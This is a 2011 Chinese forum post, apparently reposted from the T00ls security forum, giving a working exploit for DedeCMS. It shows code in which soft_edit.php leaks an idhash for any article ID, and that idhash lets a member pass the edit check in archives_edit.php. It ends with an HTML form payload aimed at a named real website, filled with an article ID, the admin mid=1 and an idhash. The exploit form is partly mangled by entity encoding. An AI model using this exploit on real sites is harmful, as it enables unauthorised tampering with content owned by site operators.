奶夹 發表於 2011-3-11 12:10:26

DEDECMS任意修改文章漏洞(exp)

<p>  这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞!</p>
<p>  废话不说</p>
<p>  经典对白 看代码!</p>
<p>  member\soft_edit.php</p>
<p>  01if(empty($dopost)) //如果这里是空也就是直接访问这个文件</p>
<p>  02{</p>
<p>  03 //读取归档信息</p>
<p>  04 $arcQuery= &quot;Select</p>
<p>  05 dede_channeltype.typename aschannelname,</p>
<p>  06 dede_arcrank.membername asrankname,</p>
<p>  07 dede_channeltype.arcsta ,</p>
<p>  08 dede_archives .*</p>
<p>  09 From dede_archives</p>
<p>  10 left join dede_channeltype on dede_channeltype.id=dede_archives.channel</p>
<p>  11 left join dede_arcrank on dede_arcrank.rank=dede_archives.arcrank</p>
<p>  12 where dede_archives.id='$aid' &quot;;</p>
<p>  13//悲剧了 没有验证MID信息 AID这里就是文章ID 可以自定义!</p>
<p>  14 $dsql-&gt;SetQuery($arcQuery);</p>
<p>  15 $row= $dsql-&gt;GetOne($arcQuery);</p>
<p>  16</p>
<p>  17//省略一堆验证代码....</p>
<p>  18include(DEDEMEMBER.&quot;/templets/soft_edit.htm&quot;); //载入模板</p>
<p>  19//再看这个soft_edit.htm 的代码</p>
<p>  20//其中一段是</p>
<p>  21 <input type="hidden" name="idhash" value="&lt;?php echo md5($row['id'].$cfg_cookie_encode); ?&gt;" /></p>
<p>  //输出了 idhash 这个很重要</p>
<p>  //这样就得到了要修改文章的idhash</p>
<p>  //然后用修改文章的文件去利用</p>
<p>  看代码</p>
<p>  archives_edit.php</p>
<p>  01if($dopost=='save')</p>
<p>  02{</p>
<p>  03 include(DEDEMEMBER.'/inc/archives_check_edit.php'); //这里是验证idhash</p>
<p>  04//省略一堆没用的代码</p>
<p>  05$upQuery= &quot;Update `dede_archives ` set</p>
<p>  06 ismake='$ismake',</p>
<p>  07 arcrank='$arcrank',</p>
<p>  08 typeid='$typeid',</p>
<p>  09 title='$title',</p>
<p>  10 litpic='$litpic',</p>
<p>  11 description='$description',</p>
<p>  12 keywords='$keywords',</p>
<p>  13 mtype = '$mtypesid',</p>
<p>  14 flag='$flag'</p>
<p>  15 where id='$aid'And mid='$mid'; &quot;; //默认的MID是1 也就是ADMIN管理员 aid就是文章ID</p>
<p>  现在看下archives_check_edit.php这个文件</p>
<p>  1$ckhash= md5($aid.$cfg_cookie_encode);</p>
<p>  2if($ckhash!=$idhash) //idhash就是这样用的</p>
<p>  3{</p>
<p>  4 ShowMsg('校对码错误,你没权限修改此文档或操作不合法!','-1');</p>
<p>  5 exit();</p>
<p>  6}</p>
<p>  //这样就成功修改文章了</p>
<p>  利用EXP:</p>
<p>  
<form id="&rdquo;upload&rdquo;" action="&rdquo;http://www.ftahk.com/member/archives_edit.php?dopost=save&rdquo;">
    &nbsp;
</form>
</p>
<p>  </p>
<p>  <input name="&rdquo;aid&rdquo;" value="&rdquo;44003&Prime;" type="text" /> //这里是文章ID 自己在plus/view.php里找</p>
<p>  </p>
<p>  </p>
<p>  <input name="&rdquo;mid&rdquo;" value="&rdquo;1&Prime;" type="text" /> //发布人的MID 默认ADMIN是1</p>
<p>  </p>
<p>  </p>
<p>  <input name="&rdquo;typeid&rdquo;" value="&rdquo;1&Prime;" type="text" /> // 栏目ID 不知道的就自己新发表一篇然后看源代码找到可以发布的ID</p>
<p>  </p>
<p>  </p>
<p>  <input name="&rdquo;title&rdquo;" value="&rdquo;test&rdquo;" type="text" /> //文章标题</p>
<p>  </p>
<p>  </p>
<p>  <input name="&rdquo;description&rdquo;" value="&rdquo;test&rdquo;" type="text" /> //文章内容</p>
<p>  </p>
<p>  </p>
<p>  <input name="&rdquo;idhash&rdquo;" value="&rdquo;32bbac95e90baaffad905bb3d44edd9f&rdquo;" type="text" /> //idhash 在第一步里说了怎么获取了</p>
<p>  </p>
<p>  </p>
<p>  <input name="&rdquo;vdcode&rdquo;" value="&rdquo;1&Prime;" type="text" /> //验证码。。新发布文章就能获取</p>
<p>  </p>
<p>  </p>
<div>&nbsp;</div>
<p>&nbsp;</p>
<p>  <input name="&rdquo;respondids&rdquo;" value="&rdquo;确定修改" type="text" /></p>
<p>&nbsp;</p>
<p>  转自:T00ls</p>
<p>  作者:心灵</p>
頁: [1]
查看完整版本: DEDECMS任意修改文章漏洞(exp)